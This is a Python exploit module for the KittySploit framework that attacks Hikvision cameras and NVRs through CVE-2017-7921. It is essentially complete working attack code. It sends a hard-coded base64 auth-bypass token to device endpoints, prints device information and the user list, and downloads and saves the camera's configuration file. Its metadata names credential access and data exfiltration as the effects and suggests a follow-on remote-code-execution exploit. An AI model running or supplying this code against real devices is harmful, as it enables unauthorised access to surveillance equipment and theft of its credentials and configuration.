Hikvision Auth Bypass (CVE-2017-7921)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Hikvision auth bypass and config leak (CVE-2017-7921)."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Hikvision Auth Bypass (CVE-2017-7921)',
        'description': (
            'Exploits CVE-2017-7921 in multiple Hikvision cameras/NVRs: forged auth '
            'parameter grants access to deviceInfo and configuration download endpoints.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2017-7921'],
        'platform': Platform.LINUX,
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2017-7921',
            'https://ics-cert.us-cert.gov/advisories/ICSA-17-124-01',
        ],
        'tags': ['hikvision', 'camera', 'iot', 'auth-bypass', 'kev', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['credential_access', 'data_exfiltration'],
            'expected_requests': 4,
            'reversible': True,
            'approval_required': True,
            'produces': ['credentials', 'file_read'],
            'chain': {
                'suggested_followups': [
                    'scanner/http/cve_2017_7921_detect',
                    'exploits/linux/http/hikvision_cve_2021_36260_rce',
                ],
            },
        },
    }

    auth_param = OptString('YWRtaW46MTEK', 'Base64 auth bypass token', required=False, advanced=True)
    output_file = OptString('', 'Save config dump locally', required=False)

    def _auth_query(self) -> str:
        return f'auth={str(self.auth_param or "YWRtaW46MTEK").strip()}'

    def check(self):
        path = f'/system/deviceInfo?{self._auth_query()}'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if r and r.status_code == 200 and '<firmwareVersion>' in (r.text or ''):
            return {'vulnerable': True, 'reason': 'Hikvision auth bypass confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'deviceInfo not accessible', 'confidence': 'medium'}

    def run(self):
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason'))
            return False
        q = self._auth_query()
        for path in (
            f'/system/deviceInfo?{q}',
            f'/configManager.cgi?action=getConfig&name=General&{q}',
            f'/Security/users?{q}',
        ):
            r = self.http_request(method='GET', path=path, allow_redirects=False)
            if r and r.status_code == 200:
                print_success(f'{path} — {len(r.text or "")} bytes')
                print_status((r.text or '')[:1500])
        cfg = self.http_request(
            method='GET',
            path=f'/System/configurationFile?{q}',
            allow_redirects=False,
        )
        if cfg and cfg.content:
            out = str(self.output_file or '').strip()
            if out:
                with open(out, 'wb') as fh:
                    fh.write(cfg.content)
                print_success(f'Configuration saved to {out} ({len(cfg.content)} bytes)')
            else:
                print_success(f'configurationFile retrieved ({len(cfg.content)} bytes)')
        return True